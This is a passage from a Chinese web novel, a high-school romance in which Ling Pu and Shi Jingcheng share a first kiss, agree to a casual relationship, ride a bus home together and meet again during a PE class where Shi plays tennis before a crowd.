看着桌上感到成就感爆棚,色香味俱全,荤素搭配,让这个空荡的房间里充满了烟火气。 凌蒲拍照留念,递给时璟承一双筷子,准备开吃。 时璟承坐下,看着已经完全放松的凌蒲:“你还真是有吃的就能满足。现在不怕找人打你了?” “你应该不会吧。”凌蒲迟疑,又开朗,“而且我都发现你要报复我的方式了,没有这么简单粗暴。” “怎么报复你?”时璟承自己都不知道。 “呵呵。”凌蒲故作高深莫测。 时璟承见他这样,第一筷子就把烤鸡里唯一一只鸡腿夹起来,特地在凌蒲面前绕了一圈,果然目光就立刻跟上来。 筷子一拐,落在凌蒲碗里:“吃吧。” 凌蒲一愣,矜持道:“这怎么好,还是你吃吧。” “你很像Zeus。” “Zeus?”凌蒲思索,“好熟悉。” “一只陨石边牧。” 这只陪伴时璟承整个童年的小狗,也是这样把情绪明白地写在脸上,特别好读懂,不用花心思去做阅读理解,或者猜测是否表里如一。 这类人让很多自以为是的社交类书籍变成废纸。 凌蒲皱起的眉头展开,转变成无语的表情:“还以为是什么很著名的国际风云人物,我就知道你不会把我比作那么高大上的人。” 他低头吃鸡腿。 一顿饭吃饱喝足,独自歪在椅子上惬意,忽见时璟承把书包拎给他:“把作业写了。” 凌蒲深深皱起眉头:“不是吧,你怎么在最快乐的时候提这种事。明天还有一天呢,我会写的。” “多做两张物理试卷,上周有退步。” “你还把我的生活安排得劳逸结合。”凌蒲抱怨着接过书包,“我每次上同学家玩都说是一起写作业去,今天才是第一次真写。” 他被时璟承领到书房,奋笔疾书一会儿,感到困倦。 “让我睡一下。这次我去客房。” “这里没客房。”时璟承淡淡,“全屋只有这一张。” “这样啊,那就只能挤挤了。” 凌蒲早已脱了外套,只要时璟承点头,他就即将幸福得扑在柔软的床上,进入美妙睡眠。 时璟承默许。 凌蒲翻身上床,发出一声满足的喟叹。床垫柔软得出乎意料,床单带着阳光晒过的蓬松感,还有若有若无的清冽的冷调香。 比别墅里的味道淡很多,唯一的来源只有时璟承。 凌蒲像找到安全巢穴的冬眠动物,很快就闭上眼睛, 时璟承放下手里的书,一回头,就看到床上的那一小团。屋内格外安静,只剩下凌蒲逐渐平稳的呼吸声和窗外偶尔的汽车鸣笛。 他看着旁边那个崭新的枕头,微微拧眉,走到床边。 凌蒲侧躺着,脸颊下面压的果然是他用过的枕头,睡得毫无防备。额前碎发终于落下来几撮,遮住一点光洁的额头,让他重新显得稚气。 那双总是让人心烦意乱的眼睛终于安静得闭上,不再向别人展示闪烁的各种情绪,睫毛轻轻垂落,投下扇形阴影。 时璟承的目光掠过对方的鼻尖,落在那张微微抿着,色泽明亮的嘴唇上。 被枕头挤得变形,看起来很软。 突如其来的念头让时璟承一顿。空气似乎变得有些粘稠,江风穿透窗缝,带来湿润的凉意。 凌蒲在睡梦中无意识咂了咂嘴,唇瓣微动,像是品尝到了什么美味。 时璟承的喉结几不可察地滚动了一下。 他挪开目光,才发现凌蒲只把被子盖了个小角,可能是因为没换睡衣。 但现在天气很凉,明显不适合这样做。 于是他俯下身,够到被子。 两人的距离被拉近到毫厘之间,近到凌蒲平稳的呼吸拂过时璟承下巴。 时璟承停住动作,然而衣服上的拉链却不给面子地依着惯性向前,冰凉的金属落在凌蒲脖颈间,冰得立刻清醒。 神色带着一点慌乱地睁圆眼,对上离他很近的时璟承。 迷迷糊糊分不清现实梦境,只是这张长在他审美上的脸近在咫尺,让他困扰和矛盾多日,于是带着一点本能的冲动拽着时璟承的领子朝下带一点。 仰起头,贴了上去。 第93章 相贴的一瞬间,温热和异样的触感让凌蒲的意识闪回。 相当真实,绝非梦境。 他慌忙垂眼,用一种极慢的速度缓缓滑下去,又迅速抓过旁边被子盖在脸上。 安详.jpg 时璟承完全没反应过来,凌蒲像小猫似地袭击了他的嘴唇。 他微微拧眉。 伸手掀开凌蒲脸上的被子,撑在他两侧:“你干什么?” 凌蒲的脸已经像一个熟透的苹果,配上刚醒的乱发,看起来有点可怜。 “我以为你是我妈来着,哈哈。” “?” “或者我爸,来叫我起床。本来想亲脸的。”他胡言乱语地找借口,“睡迷糊了。” 他没得到时璟承的回复,也不敢抬头,在一分一秒的安静里愈发不安:“怎么不说话。我说的是真的。” 可以想到现在时璟承一定又用那种冷静的目光看他,像玩弄一只小白鼠,看着它四处撞墙,并以之为乐。 “你不信就算了。”凌蒲破罐破摔,“但我不是故意的。” 他又忽然想到:“不会以为你的计划成功了,在偷偷得意吧?” 赶紧驳斥:“我也就是和你玩玩,亲一下而已。” 凌蒲推了一把时璟承,把自己说得有点恼火。 他大喇喇坐起身,充满气势地抱起臂,猛然向后一靠,不想脑袋后面碰在床头靠垫的顶端装饰物,表情皱了一下。 迅速舒展开,依然气势十足地看着时璟承。 像虚张声势的炸毛小猫。 痛感密密麻麻地传来,那双眼睛里逐渐泛起点眼泪花。 时璟承揉了揉他的后脑勺:“疼吗?” “这不是废话吗。”凌蒲也不再假装,表情缩起来,摸着自己被撞的那块,“不是后脑勺,朝上一点,有没有肿起一个包。” 时璟承手向上移,摸摸那个被撞击的准确位置。 “没有。” “就是有,你得按一下。嘶——轻点。” 凌蒲关心自己的脑袋,指导着时璟承去寻找那个不知道存不存在的包。 时璟承忽然短促地笑了一声。 凌蒲顿了顿,难以置信地抬起头。 时璟承嘴角稍扬的弧度还没来得及收:“等着,给你找个冰袋。” 半晌后,凌蒲坐在椅子上,脑袋顶着冰袋,伸手扶住,一边幽怨地看着时璟承。 “你是不是还想笑?” “没有。” “骗人,你就是一直在笑。只是你笑得不明显。”凌蒲不高兴,“时璟承,别嘲笑我了。” 他觉得自己很悲催,撞那一下是真的疼,几乎看到星星。 但后面时璟承笑得有点帅,还没怎么看他笑过,犹如冰消雪融,比星星还要明亮。 “时璟承。” 凌蒲又叫了一声。 “嗯。” “可以问你个问题吗?” “不可以。”时璟承替凌蒲把冰袋扶正。 他这句拒绝只让凌蒲多停顿了一分钟,就忍不住开口问:“你一般…一段恋爱谈多久?” “?” 时璟承看了一眼,凌蒲眼里充满求索的愿望,看起来是真的好奇。 “怎么?” “就问问嘛。要是时间合适的话,可以那啥。” 时间合适的话他可以抱着和时璟承一样的心态玩一小段时间,反正时璟承百花丛中过,不会有什么影响。而他凌蒲向来三分钟热度,新鲜一下,满足好奇心就过去了。 和打游戏一样,除了签到五百多天的那个和泡泡龙,凌蒲玩过无数游戏,都是没下载之前非玩不可,满怀热情地下载,刚玩好玩,玩一阵子就在角落落灰。 “什么?” “我俩玩玩。” 凌蒲声音小,话题跳得快,时璟承真没明白他什么意思。 “你故意的吧。”凌蒲再次破罐破摔,“就是像你经常做的那样,短暂地在一起一下,你再把我甩…我再把你甩掉。” 凌蒲让自己看起来像个观念open态度又很casual的那种电视剧渣男,尽量很老道地说着,表示他是比时璟承更坏的人,丝毫不会在意。 “哦。玩我?”时璟承看着凌蒲红透的耳朵尖。 他没有在评估凌蒲的提议,而是在思索凌蒲提出的原因,这和这个人是不相符的,可能是在欲盖弥彰。 不过他也知道凌蒲的脑回路猜不得,于是直接问: “你喜欢我?” “怎么可能?”凌蒲做出很吃惊的表情,提高音量,“不要自作多情,都这个时代了还说这个。就是看你长得帅而已,又不是认真那种,每段都谈感情很累的欸。” 时璟承又笑了一声。 “你又不吃亏。”凌蒲补一句,“或者吃点小亏。” 手指头玩着时璟承的拉链,紧张地抠抠抠。 在时璟承眼里,他判断凌蒲是害羞,也可能是因为如成深野那样的纨绔子弟对一类群体产生偏见,才找出了这么个奇怪的说法。 “行。” 其实并没有想别的,只是但看着凌蒲这副摸样,就是很想逗他,这种冲动压倒了一切。 凌蒲愣愣的,没想到真答应了,一时间又有些茫然。 忽见时璟承俯身,撑在凌蒲座椅扶手上,把他困在方寸之间。 “凌蒲。”时璟承很容易地读出了他的表情,放轻的声音依然带着点压迫感,“允许你一次心血来潮,要反悔吗?” 他这么一靠近,身上清冽的气息重新缠绕着凌蒲的呼吸,目光无处安放,又想起方才贴那一下的触感。 思绪再次停摆。 舔了下发干的嘴唇,道;“你不敢吗?” 时璟承捏住凌蒲的下巴,视线落在他还带着水渍的唇上,停留了很久,久到凌蒲认为他肯定会吻下来,心脏提到嗓子眼。 但时璟承的冷静向来占据上风,他在评估。 凌蒲环住他的脖颈,手心和小臂都烫烫的,像是刚睡醒的体温,可能还要再高一点。 一双眼睛像是充满诱惑的湖泊,岸边的芦苇轻轻颤动。 时璟承低头,含住对方的嘴唇,同时用手遮住那双好奇的眼神,否则会让人充满罪恶感。 在接触的一瞬间,凌蒲在提醒自己到时候他必须要先甩掉时璟承。 也在时璟承唇上啄了下,听到耳边变得有些重的呼吸声,察觉到主导权在偏移。 凌蒲叶公好龙,发现和刚才轻轻过电的感觉不同,在潮水般涌来的陌生和未知中慌了神,开始挣扎,睫毛蹭在时璟承的手心,不断眨动。 时璟承在他嘴唇上咬了下,如同果冻一般,QQ弹弹。 凌蒲不动了,紧张中触感被无限放大,感受到时璟承原本在身侧的双手逐渐抚上他的后颈,摩挲着他的发尾。 窗外下午的阳光斜斜地为桌面铺上淡淡的金,经过折射,散落一片流光溢彩,漫长又缱绻,仿佛没有尽头。 直到“咚”一声。 方才给凌蒲的冰袋从凳子滚落到地上,发出沉闷的一声响,把不知停止的两人惊住。 凌蒲靠在时璟承怀里,额头抵住,轻轻喘着气。 “我,咳,我要走了。” 凌蒲猛然起身,把桌上乱七八糟的一堆书一拢,统统塞进书包。 拔腿跑到门口,在门锁上摸索好几下,才打开。 “我让司机送你回去。”时璟承站在房间门口。 “不用了,谢谢你。” “你会迷路。” “不会。” 凌蒲倔强地留下最后一句,便头也不回地进了电梯。 一出单元门,呼吸着外面新鲜的空气,仿佛重新活过来。除了唇上还残留着被吮吸,甚至是轻轻啃咬的微妙触感,被冷风一吹,又麻又胀,无法完全忽视。 他飞快地闷头走了阵,才发现似乎又绕回了原地。这个高档小区绿化极好,每栋楼都一模一样,蜿蜒小路四通八达。 他并不急着走,随遇而安地先找个椅子坐下,抱住头发揉了揉。 怎么会是这个走向。 他摸出手机,打开程益添的聊天框。 【我决定将计就计】 【到时候先把他给甩了】 【先发制人】 说得仿佛早就运筹帷幄,实则凌蒲是上了车才补票,给自己找个冠冕堂皇的借口。 程益添那边周六还在考试,等凌蒲一口气玩了十五关泡泡龙,那边才回了个问号。 【怎么将计就计?】 隔着屏幕都能看到程益添倒吸一口凉气的样子。 凌蒲尽量淡定:【就是假装中计嘛】 【???怎么中计???性取向都不一样,你要干什么,他玩男生你也玩?】 【算了不说了,也没什么】 【蒲,你玩不过他的,别不自量力啊!拖到高考结束之后就安全了,到时候桥归桥路归路,再也见不着面。】 凌蒲又抓了把头发,他现在觉得程益添这个提议确实不错。 但是。 【已经迟了。】 凌蒲回完,安静地在椅子上仰起脸,看着逐渐向傍晚过度的天空,有些凌乱的头发微微散开一点,沉思。 忽然“嘶”一声,他发现这个动作让脑袋后面的包有点痛,赶紧捂了捂。 刚才怎么一点感觉都没,还以为已经痊愈。 真是很乱的一天, 与此同时,时璟承依旧站在房子的落地窗前。 南北通透的大平层,一面是江景,另一面能把小区看个七七八八,视野都很开阔。 时璟承的视线落在楼下那个小点上,看着他绕了一个小半圈,走了不少重复的路,最终坐在椅子上。 这人坐立不安地在手机上敲了敲,不知道是不是又给那个讨厌的程益添发消息。 可能会给对方分享今天的遭遇,不知道会怎么说。 不过不管怎么说,总归是要把发生了什么告诉程益添的。 想到这里,时璟承拧起的眉头稍稍舒展。 又看着凌蒲低头按了会儿,就把手机撂到一边,估计是那个益添得上课,没太多时间聊。 对倾诉欲这么强的人来说必然是种折磨,果然见他揉了两把头发,仰起脑袋,又猛然捂住低头。 捂的是刚刚撞在床头装饰物上的位置,还帮他用冰袋覆过,不知掉哪去了。 时璟承嘴角勾起淡淡的弧度。 第94章 凌蒲待到暮色阑珊,才起身,打开手机导航摸索出小区。 到家之后回复时璟承一个人机表情包【到了.jpg】,便安静如鸡。 接下来的整整一天,都沉默得反常,简直让人误以为要走忧郁路线。 钱芷第一个觉得奇怪:“怎么了你,昨天和同学闹矛盾了?” “没有。” “还说没有。”钱芷忽然想到,“怪不得回来要敷冰袋,是不是被人打了?” “没有。” 还不如被人打呢,眼睛一闭一睁就结束了,现在像是被凌迟。很煎熬。 凌蒲趴在床上,小毯子蒙住脑袋,一动不动。 睡衣随着动作被掀起,露出一截薄薄的腰。 “那今天怎么没出去玩, “怎么能每天都出去玩。“凌蒲坐起来,“我得学习。” 他下了床,坐到书桌前,正襟危坐地打开书包。 看到里面的情形,稍微愣一下。 才想起来上次装进去的时候匆忙混乱,都变得皱巴巴。他赶紧拿出来,认真地把一页页抚平。 抚平几张试卷之后,忽然发现里面有不属于自己的一本书。 顿了顿,拿出来,仿佛火中取栗一般,指头被烫得拿不住。 是时璟承的练习册,当时被他拿来对答案,竟然一起带回来了。 凌蒲小心翼翼地也给这本一张张抚平,用他的金猪储钱罐压在窗台上,希望借助太阳之力让书本恢复平整。 * 周一还是来到了。 凌蒲很早很早就从睡梦中惊醒,反常得堪比太阳从西边升起。 他慢吞吞洗漱,慢吞吞背上书包,慢吞吞地来到学校。 一路上如同惊弓之鸟,看到和时璟承身高相仿的人就心跳加速。 好在出发的早,在高峰期之前偷偷摸摸潜入教学楼。 终于顺利到了教室后门,深吸一口气,对着后门门框做心理建设。 手指在墙上摸摸,一连串有点羞耻的记忆涌入脑海。 指尖微微蜷缩,贴着冰凉的瓷砖降降温。 正沉思着,忽然有什么摸了摸他的脑袋,就在昨天被撞的位置。 凌蒲回过身,一顿,缓缓仰头。 “还疼吗?”时璟承收回手。 “还好。”凌蒲如实回答。 “哦。怎么不回消息?” 凌蒲陈述:“没看手机,我学了一整天的习。” 又补了句;“真的。不信的话一会儿给你看。” “你昨天的气势哪里去了。”时璟承看着他,“后悔了?还是怕了。” “那必然是没有。”凌蒲的字典里没有这两个词。 他拍了拍时璟承肩膀:“先学习,放学再说。” 正襟危坐一整天。 直到放学,积极缠着任展飞问完问题,义正辞严地告诉时璟承:“我准备去一趟书店,飞哥推荐我买一本基础练习册。” “凌蒲。”时璟承堪称温和地叫他一声,表情似笑非笑。 “好吧。”凌蒲瞬间让步,“我们一起去。正想邀请你呢。” 他低头收拾好书包,默默走在前面,用余光领先时璟承两米距离,时璟承走快他就加快,时璟承走慢他就减速,像电视剧里那种不好意思认自己农村妻子的渣男丈夫。 “我想走过去。书店会和吧。” 经过转角处显眼的豪车时,凌蒲忽然提出。 时璟承忍无可忍,拉住他,把人撂进车后座。 司机一惊,定睛一看,还是上回那个小同学。 犹豫一下,升起后座挡板。 “时璟承,你干什么。”凌蒲声音没什么气势,整理着自己变形的领口。 “还知道我是时璟承?今天一整天都没见你抬头。” 凌蒲装模做样地整理挺久,再看着面前的座椅靠背,压根不敢看时璟承。 全天基本都是这个状态。 光是瞥一眼和他相似的背影都心跳加速,要是再看时璟承的眼睛,大脑一定会因为过载而超负荷。 凌蒲认为这很正常。时璟承身经百战习以为常,而他不过是个纯情高中生。 偷偷转过头,试图用余光偷看,却发现对方已经挪到座椅另一侧。 留给他一个冷酷的后脑勺,拒绝交流。 于是凌蒲朝中间挪动,默默伸出手,在座椅上摸索几下,摸到时璟承附近,戳了戳他的小臂。 眼见时璟承还是不理他,动作更大了些,开始捏一捏。 时璟承还是没反应。 凌蒲皱起眉头。 指头向下移,摸到时璟承的手,勾了勾。 见时璟承没有制止的意思,顺理成章地牵上。 凌蒲的手软软的,干燥而带着健康的体温,似乎在用触感研究时璟承的手,胆子逐渐大起来,试着想把时璟承的手完全包裹起来。 时璟承只不过动了下指节,那只手又如惊弓之鸟一般,飞速往回抽。 “凌蒲。” 时璟承叫了他一声,就着这只手,朝身前带了下。 凌蒲失去重心,落在时璟承怀里。迅速垂眸,看到时璟承那身向来一丝不苟的校服被他压得有点发皱。 “你的衣服”抬头想告诉时璟承一声,却在对上时璟承眼睛的一瞬间沉默。 像掀起一片燎原烈火,把凌蒲的意识烧得分毫不剩,目光像着魔似地去看时璟承鼻子以下,不过前天的回忆清晰得像电影。 直到冰凉的指腹压在他唇上。 时璟承捏住他的脸,把人挪得远一些。 “就是这么个玩法?”时璟承问,“召之即来挥之即去,把我当什么。” “别生气。” 凌蒲拍拍他的手,有商有量,“我们可以制定规则嘛,你也可以玩我呀。” 时璟承的眼神深了深。 凌蒲趁他不备,在他嘴唇上啄了一下。 “给我一点反应的时间,这两天有点不好意思。” 说着在口袋里摸了摸,掏出颗水果糖,剥开,想哄哄他,但转念一想时璟承估计不爱吃,于是给自己吃了。 时璟承看着他这一串动作,尤其是糖的终点竟然是他自己的嘴,无言。 “你自我鼓励呢?”时璟承嘲讽。 凌蒲看看他:“我以为你不爱吃。” 时璟承冷笑一声。 忽然凌蒲靠近,仰起脸,生涩地贴住他的唇,试探的舌尖探了半天,终究是没敢张开,收回去,脸已经红成了苹果。 他后撤回自己的位置上:“你应该是不爱吃的,算了。” 咔吧咔吧嚼几下,快速咽了。 时璟承原本云淡风轻看窗外,现在被撩拨得心烦意乱,一看这罪魁祸首,竟然反倒转过头去,留给车内一个圆圆的后脑勺。 气得想在他昨天撞的地方弹一下。 时璟承摩挲指尖。 车子行驶到书店,凌蒲开车门下车。 转头看到依然坐着抱臂不动的时璟承,跑到车门另一侧,替他打开,邀请:“和我一起去书店吧。” 时璟承才纡尊降贵,勉强迈下长腿。 书店里氤氲着特有的纸张油墨味,灯光和咖啡味让人宁静,现在并没有太多人。 凌蒲按照名字很轻松地找到了任展飞向他推荐的基础练习册,经过漫画书时走不动路,站在原地,随手翻了翻。 本来是只打算翻两下就走,但不想一下就看到了感兴趣的部分,不觉入迷。 等津津有味地把一个完整情节看完,一抬头,才发现时间已经过去挺久,天色都快黑了。 而向来不耐烦的时璟承竟然没催他,也拿着本厚厚的书,有一搭没一搭地看着。 身上的浅色校服和书店氛围很搭,闲适的姿态依然掩不住优越的身材比例,颜色很黑的头发随着外面的风轻轻晃动。 和身上那种冷淡的气质结合,让人挪不开眼。 凌蒲不忍打断,直到时璟承翻书的动作稍顿,从书页间抬眼,看着他。 “走吧。”凌蒲做了个口型,晃晃手里的书。 花花绿绿的封面让时璟承拧眉。 凌蒲顺着他目光,一看才发现晃的是漫画书,又匆匆放下,拿起刚才那本练习册。 全天都像踩了尾巴的猫,冒冒失失。 凌蒲在心里谴责自己。 付完款到门前,发现刚才下车的地点已经空空荡荡。 “司机女儿要开家长会,让他先下班了。”时璟承告诉他。 “噢噢。”凌蒲反而愉快,“那你怎么回家,少爷,和我一起坐公交吗?” 时璟承眯起眼睛看了看凌蒲:“打车。或者让顾乾的司机接我。” “别打车,带你坐公交车。这里直达,超级近。” “不坐。” 凌蒲轻车熟路地拉着时璟承来到旁边的公交站,摸出自己的学生卡,又把手机打开出行的支付界面,热心道:“我请你。” “” 时璟承把站牌上的车次看了个遍,对这些车站名有些陌生,并不想选择不熟悉的交通工具。 然而凌蒲眼睛里挂着狡黠的笑,一副很想带着他坐公交车的样子。 “你看,这个小箭头是行车方向。你在这个地方下车,只有两站路,很近的。我可以把你送回家,我再自己坐车回家。” 被时璟承送了那么久,今天凌蒲能有机会送时璟承回家,心情是不一样的。 虽然是用公交车。 时璟承随他,从口袋里掏出蓝牙耳机,取出来。 “给我一个。”凌蒲伸手,朝他索要。 时璟承垂眸看了看凌蒲,把手里的递给他,自己从耳机仓里拿出另一个,塞在靠近凌蒲这边的耳朵上。 这让把耳机戴在远离时璟承那侧的凌蒲感到不解:“你为什么戴这边,这样就听不到我说话了。” “你太吵。把另一边耳朵塞上和聋了没什么区别。” “切。” 凌蒲也把耳机换个耳朵,懒得和时璟承再说话。 不过音乐声倒是缓缓从共同的耳机里倾泻而出,一首舒缓的英文歌,如同流淌的夜色,在星火般的路灯里斑斓。 现在已经避开了晚高峰时间,车上车下的人都不多,凌蒲自认为给时璟承的体验感应该不错。 他信守承诺,一路把时璟承送回家。 揣着口袋,指尖玩着刚才的糖纸,捏扁揉平。 “我到了。”时璟承在距离别墅一定位置的地方停步。 凌蒲朝后看了一眼,隐约看到院子里停着车,撇撇嘴:“好吧。我待会拔腿就跑,一定不给你添麻烦。” “不用。顾乾回来了。我让他的司机送你回去。” “别了少爷,不要用资本主义的陷阱腐蚀我。” 而且还要横穿两个小区,想想就果断拒绝。 “注意安全。”时璟承说,抬手把自己的耳机摘下来,戴在凌蒲耳朵里,耳机仓也塞进凌蒲的口袋。 音乐的音量变成两倍,凌蒲一顿,口袋里的手不自主地握起,兜里糖纸经过摩擦,沙沙作响。 他也想说点什么,于是开口:“刚刚你没吃到,糖是苹果味的。下回给你吃。” “我是说带给你吃,有糖纸的。”他又加了句,耳朵变得有点红。 时璟承:“” 第95章 “上午最后一节是体育课,到底能不能上啊?” 课间吵吵闹闹,凌蒲安静地趴在自己手臂上,脸朝着窗外,问旁边的时璟承。 只见窗外几朵硕大的乌云横亘在空中,但并没有加深或者变浅,持续一上午都这样。 凌蒲抱怨:“这天气也太狗了。早上还晴空万里,一到学校就变异,我连伞都没带。” “你这三节课已经看了窗外不下二十次。”时璟承没抬头,“看了又改变不了。” “哪有那么多。” 凌蒲看时璟承一眼,他和窗户是一个方向。穿着校服的时璟承气质很干净,和这头乌黑的发色很适配,没有那么强的压迫感。 他挪开目光:“之前有一次体育课也是这样的情况,最后也成功上了。只要这个天气再坚持四十分钟,雨怎么下都行。” “那你祈祷吧。”时璟承在草稿纸上演算手里的习题。 “无趣。” 凌蒲摸索着座位下面的羽毛球拍过瘾:“时璟承,你会不会打羽毛球?” “会一点。” “那我有空可以教你。”凌蒲大言不惭,“我很厉害。宋昭和程益添他们都是我的手下败将,和丁朗不分胜负。” “哦。我打你绰绰有余。” “?”凌蒲皱眉,不知道时璟承为什么突然这么不谦逊。 他望着那块大乌云,重新趴回桌子上:“一定要上体育课啊,好久没看到宋昭了。有点想念。” 目光看了会儿窗外,不知不觉就转到时璟承侧脸,描摹一遍线条,又落在拿笔的手上,骨节分明,写题时游刃有余。 腕上一块黑色机械表,随着动作折射出熠熠的光。 百无聊赖的凌蒲想伸手拨弄一下,忽然被对方躲开,落了个空。 他微微一愣:“很宝贵吗?” “别人送的。”时璟承说,把表朝腕上按了按,收进袖子。 “不好意思。” 凌蒲道歉,并没有多在意,很快就继续上课。 终于捱到体育课之前的最后一个课间,老师刚宣布下课,凌蒲立刻抄起桌下的羽毛球拍,掂了几下。 兴奋道:“果然没下雨,福大命大的体育课。” 他拿着羽毛球筒和拍,催促时璟承:“走吧,快上体育课。” 时璟承写完最后一个数字,盖上笔帽。 凌蒲瞄他几眼:“你怎么不穿运动服了?之前不是有穿过运动服打网球的吗?” “你怎么知道。”时璟承反问。 那是挺久之前的事了,和一个校网球队的打了一场,其他时候在学校里用不着专业装备。按理说当时凌蒲都不一定转学过来。 凌蒲顿了顿,若无其事地说:“就听说的,说你一直穿校服,忽然换别的衣服蛮帅的。” “每天在没意义的事情上浪费时间。”时璟承评价。 “确实。”凌蒲笑笑,发自内心地说,“你穿校服也很帅。” 嘴比大脑快一点,说完之后,才后知后觉地意识到现在两人之间已经不是那么单纯的关系了。 他低头摆弄球拍,装作检查手胶。 耳朵尖又泛起一点红,在白皙的皮肤上分外明显。 时璟承瞥他一眼就知道这人在想什么,像读一本摊开的书。 凌蒲自我调节能力一流,很快就又若无其事。 操场距离教学楼挺远,他两只手既要拿拍子,还要拿球筒,腕上还挎着水杯,走着走着就感到有点累。 目光落在前面的时璟承身上,停顿:“时璟承,可以帮我拿一个吗?” “为什么?” “前天撞出的这个包有点疼,应该是累着了。”凌蒲认为十分合理,清清脆脆的音色被拉长一点,像在撒娇。 时璟承揭穿他:“根本没有包。” “有啊。我都摸到了,就是有个包。你压根就不关心。”凌蒲忿忿。 “哦,这么严重。那你还能打羽毛球吗?” “当然。这不一样,要把意志用在该用的事情上。” “理由不合理,不拿。” “” 一会儿之后,凌蒲手里只剩一个水杯,大口喝水。 球拍和球筒都被塞到时璟承的网球包里,球筒没有完全塞下,在外面露出一个羽毛球尾巴。 “时璟承,你真好。” “下不为例。” 凌蒲笑笑,朝他贴一贴。 两人这么走着,忽然迎面遇上了成深野。 “这么巧!” 成深野朝时璟承走过来:“璟承,我正准备找你。我们那边停课搞活动,实在闲的无聊,找你切磋两下网球。” 他也拿着个网球牌,穿一身专业的运动服,架势倒是摆足了。 “你太菜。不想和你打。”时璟承淡淡。 “上回拍子不行,今天我特地搞了吧好的。”成深野说着,想和时璟承的拍子比比,一眼就瞥到对方网球包里奇怪的羽毛球,“打网球你带个羽毛球干什么?” “是我的。”凌蒲认领。 成深野看着旁边的凌蒲欲言又止,还是言了:“你怎么又在这儿?” “我为什么不能在这。”凌蒲皱眉,“特儿你变了,我们感情淡了。” “你和他什么时候有过感情。上课要迟到了。”时璟承冷脸催促,大步走在前面。 凌蒲一路小跑着跟在后面,成深野看着两人背影,后知后觉地产生了一个猜测。 羽毛球不会是凌蒲的吧? 他怎么做到的,让时璟承自愿帮他拿东西。 能不能开个班。 * “同学们,这节羽毛球课考一下之前教的发球,考完的同学可以去操场自由活动,或者回教室。” 凌蒲站在羽毛球馆里,和所有选择羽毛球的同学列队,听着教羽毛球的老师宣读考试顺序。 这节课的期末考核将由几个部分组成,里面就包括发球,需要按照教过的标准姿势做动作,再由老师打分。 身后议论纷纷。 “听起来挺容易,不过只有两次机会,千万别出什么意外。” “没事,这老师挺好的,应该会有机会补考。” “为啥要考试啊,刚才我同学来叫我说网球场有俩帅哥在打网球,可恶,错亿。” “真假,有多帅?” “” 凌蒲的考试顺序排得挺靠前,对他这种有基础的来说小菜一碟。 一手拿着羽毛球一抛,另一手握着拍子,“砰”一声,完成漂亮的发球。 “不错。”体育老师点点头,在分数表上记了一笔。 凌蒲获得自由,问同样考完的丁朗:“这里场地被考试占了,我们去哪里打羽毛球?” “跟着考完试的人走吧,他们拿着拍子估计都是去找场地的。” 丁朗一指,只见前面大多数人都朝着一个方向走,显然有个明确的目的地。 “有道理。” 凌蒲十分赞成,于是拿上拍子和球,跟着人流一块走。 他们来到室外,上了楼梯,来到操场,再朝左转—— 最终,他们停在了一个网球场前。 前面人山人海,围了个水泄不通。 凌蒲和丁朗都一脸懵。 “这是干什么呢?能打羽毛球?” 丁朗是个大咧咧的体育委员,当即借着强壮的身材在人群里挤出路径,拉着凌蒲朝前面一探究竟。 凌蒲很快就发现周围都是女生,她们用异样的眼神瞅着丁朗,甚至还隐隐侧身,让出一条通道来。 “靠,怎么在打网球?”丁朗愣了愣。 凌蒲也看到了,众人的目光焦点就是在打网球的时璟承和成深野,想必就是方才身后的人议论的。 时璟承已经脱了校服外套,里面是件简单的白色运动t恤,衬得他宽肩窄腰,身形挺拔。虽然没穿专业网球服,但动作一看就带着从容不迫的气场。 而对面的成深野显然是有备而来,还带了运动发带,每一下发球都特凌厉,试图抢占先机。 时璟承只是微微侧身,舒展手臂,便四两拨千斤地化解。 “砰”一声,利落的击球声之后,黄绿色小球以更快的速度,更刁钻的角度飞回,在成深野目瞪口呆的注视下,压着底线弹飞出去。 观众一片惊呼。 “我去,15-0了,这哥们真厉害。”一个拿着网球拍的男生由衷赞美。 更多的则是女生压低的尖叫,还有举起来拍照的手机。 连体育生丁朗都被折服:“网球也挺好看的。下个项目选网球好了。” 凌蒲“嗯”一声,目光聚焦在时璟承身上。 乌云里隐约透出一律光,撒下片小小的浅金,正好镀上时璟承的轮廓,他额前的乌黑碎发被风吹动,露出专注的眉眼。握拍的手臂线条流畅充满力量,刚才击球姿势很帅,每个动作都带着很有观赏性的美感。 又一个高速球过来,时璟承用漂亮的滑步扭转身体,回以反手抽击。 “我天,拍到了没啊。” “这反手真漂亮。” “快快快发给我。” “谁能有他联系方式,和你说超级难加的。” 凌蒲站在人群中,作为茫茫人海中的一员,觉得这样的时璟承有点陌生。 遥远而耀眼,仿佛凌蒲和他中间隔着块屏幕,该在电视上看到这样的人物才合理。 他和其他人似乎也没什么不同。只不过是小时候的经历让时璟承对他有了短暂的兴趣,不知道会维持多久。 好在他及时意识到时璟承的报复计划,不然不知道会怎样被玩弄于股掌之中。 心里涌起种说不清道不明的酸涩,不过凌蒲并没有多深究。 走到场边时璟承的网球包里,去找自己的水杯喝水。 先把羽毛球拍和羽毛球塞进去,再摸出水杯,发一会儿呆,才仰头喝水。 一边喝一边忽然发现网球声已经停止,人群里不少人去给时璟承送水。 凌蒲撇了撇嘴。 但时璟承都没有理会,径直朝人群外走,来到凌蒲面前。 垂眸伸手;“水给我。” 凌蒲正喝水喝到一半,鼓着一点腮帮,愣愣地望着他,把手里水杯交出去。 “我说我的水。”时璟承看到那点腮帮消失,凌蒲快速吞咽了下,嘴唇沾着水光,杯口也是。 “噢噢。”凌蒲意识到自己在做什么时候,有点慌乱,匆匆去包里找到时璟承的水,递过去。 时璟承看到他的耳朵尖又变得有点红,唇上的水孜还在。 成深野拿着瓶水悠悠哉哉过来,一看就是刚才也有人给他送的。 凌蒲问他俩:“最后谁赢了?” “你刚才没看懂?”时璟承问。 “你看到我了吗?” 凌蒲有些意外,毕竟距离那么远,时璟承又在打球,没想到竟然能发现他。 “你的眼神和别人不一样。”时璟承说。 凌蒲一顿,心脏怦怦跳,不好意思地四处看了看。 “比较花痴,还有点呆。”时璟承如实形容。 凌蒲被他形容得不爽:“谁看你了?少自作多情。我在看Dexter。” 他立刻认证:“Dexter你很帅。” 说着把自己手里的水杯塞回时璟承的背包里,里面又露着他的羽毛球筒。 成深野认为时璟承边界感这么强的人不大会容许这样的事情发生,但事实是时璟承并没制止。 他对凌蒲的夸赞感到愉快:“是吗?凌蒲我一直觉得你和小时候一样好看。” 两人相见恨晚,达成共识。 “对了。”凌蒲想起来,问成深野,“小时候的小月亮去哪里了,你们之后没有联系吗?” 